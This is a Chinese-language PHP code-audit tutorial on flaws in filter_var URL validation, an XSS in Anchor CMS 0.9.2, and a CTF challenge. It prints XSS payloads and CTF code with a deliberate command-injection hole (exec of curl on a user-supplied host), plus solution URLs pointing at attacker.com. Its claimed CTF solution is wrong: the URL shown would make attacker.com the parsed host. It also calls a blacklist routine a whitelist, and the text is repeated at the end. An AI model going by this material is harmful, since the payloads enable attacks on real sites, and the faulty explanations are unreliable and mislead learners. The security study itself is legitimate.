[红日安全]代码审计Day2 - filter_var函数缺陷
字数 1038 2025-08-29 08:32:24

PHP代码审计:filter_var函数缺陷与XSS漏洞利用

1. 漏洞背景

本文分析PHP中filter_var函数在URL验证时的缺陷,以及如何利用这种缺陷绕过安全过滤实现XSS攻击。案例来源于Twig模板引擎和Anchor CMS 0.9.2版本的实际漏洞。

2. 核心漏洞分析

2.1 filter_var函数缺陷

filter_var是PHP内置的变量过滤函数,当使用FILTER_VALIDATE_URL过滤器时存在以下问题:

filter_var($url, FILTER_VALIDATE_URL)

该验证对javascript:伪协议的处理不够严格,允许攻击者构造特殊格式的URL绕过验证。

2.2 典型绕过方式

使用JavaScript伪协议和换行符绕过:

javascript://comment%250aalert(1)

绕过原理:

  1. //在JavaScript中表示单行注释
  2. %250a解码后为%0a(换行符)
  3. 换行后alert(1)不再被注释,得以执行

3. 实例分析:Anchor CMS 0.9.2 XSS漏洞

3.1 漏洞位置

themes\default\404.php中的404错误处理页面:

<code><?php echo current_url(); ?></code>

3.2 漏洞链分析

  1. current_url()函数调用链:

    function current_url() {
        return Uri::current();
    }
    
  2. Uri::current()方法最终调用Uri::detect()获取当前URL

  3. 检测逻辑从$_SERVER获取以下值:

    • REQUEST_URI
    • PATH_INFO
    • ORIG_PATH_INFO
  4. 仅进行基本的URL过滤:

    filter_var($uri, FILTER_SANITIZE_URL)
    

3.3 漏洞利用

构造Payload访问不存在的URL:

http://localhost/anchor/index.php/<script>alert('xss')</script>

404页面会直接将恶意脚本输出到<code>标签中,导致XSS执行。

4. 修复建议

4.1 输入过滤

使用严格的HTML实体编码:

htmlspecialchars($input, ENT_QUOTES, 'UTF-8')

4.2 白名单验证

对URL进行白名单验证,如DedeCMS的防护代码:

function _FilterAll($fvalue) {
    global $cfg_notallowstr,$cfg_replacestr;
    if ( preg_match("/".$cfg_notallowstr."/i", $fvalue) ) {
        $fvalue = preg_replace("/".$cfg_notallowstr."/i", $cfg_replacestr, $fvalue);
    }
    return $fvalue;
}

5. CTF题目解析

题目代码:

$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-redclub.com$/', $site_info['host'])){
        exec('curl "' . $site_info['host'] . '"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    } else {
        die("<center><h1>Error: Host not allowed</h1></center>");
    }
}

解题思路

  1. 利用filter_var的URL验证缺陷
  2. 构造特殊格式的URL使parse_url和正则验证产生差异
  3. 最终目标是读取f1agi3hEre.php中的flag

预期解法

构造URL使parse_url解析出的host为sec-redclub.com,但实际curl请求其他地址:

?url=http://sec-redclub.com@attacker.com/f1agi3hEre.php

或利用特殊字符绕过:

?url=http://sec-redclub.com\@attacker.com/f1agi3hEre.php

6. 总结

  1. filter_var的URL验证不可靠,需结合其他验证手段
  2. JavaScript伪协议和特殊字符可绕过URL验证
  3. 输出时务必使用htmlspecialchars进行编码
  4. 安全防御应采用多层过滤和编码策略
PHP代码审计:filter_ var函数缺陷与XSS漏洞利用 1. 漏洞背景 本文分析PHP中 filter_var 函数在URL验证时的缺陷,以及如何利用这种缺陷绕过安全过滤实现XSS攻击。案例来源于Twig模板引擎和Anchor CMS 0.9.2版本的实际漏洞。 2. 核心漏洞分析 2.1 filter_ var函数缺陷 filter_var 是PHP内置的变量过滤函数,当使用 FILTER_VALIDATE_URL 过滤器时存在以下问题: 该验证对 javascript: 伪协议的处理不够严格,允许攻击者构造特殊格式的URL绕过验证。 2.2 典型绕过方式 使用JavaScript伪协议和换行符绕过: 绕过原理: // 在JavaScript中表示单行注释 %250a 解码后为 %0a (换行符) 换行后 alert(1) 不再被注释,得以执行 3. 实例分析:Anchor CMS 0.9.2 XSS漏洞 3.1 漏洞位置 themes\default\404.php 中的404错误处理页面: 3.2 漏洞链分析 current_url() 函数调用链: Uri::current() 方法最终调用 Uri::detect() 获取当前URL 检测逻辑从 $_SERVER 获取以下值: REQUEST_ URI PATH_ INFO ORIG_ PATH_ INFO 仅进行基本的URL过滤: 3.3 漏洞利用 构造Payload访问不存在的URL: 404页面会直接将恶意脚本输出到 <code> 标签中,导致XSS执行。 4. 修复建议 4.1 输入过滤 使用严格的HTML实体编码: 4.2 白名单验证 对URL进行白名单验证,如DedeCMS的防护代码: 5. CTF题目解析 题目代码: 解题思路 利用 filter_var 的URL验证缺陷 构造特殊格式的URL使 parse_url 和正则验证产生差异 最终目标是读取 f1agi3hEre.php 中的flag 预期解法 构造URL使 parse_url 解析出的host为 sec-redclub.com ,但实际curl请求其他地址: 或利用特殊字符绕过: 6. 总结 filter_var 的URL验证不可靠,需结合其他验证手段 JavaScript伪协议和特殊字符可绕过URL验证 输出时务必使用 htmlspecialchars 进行编码 安全防御应采用多层过滤和编码策略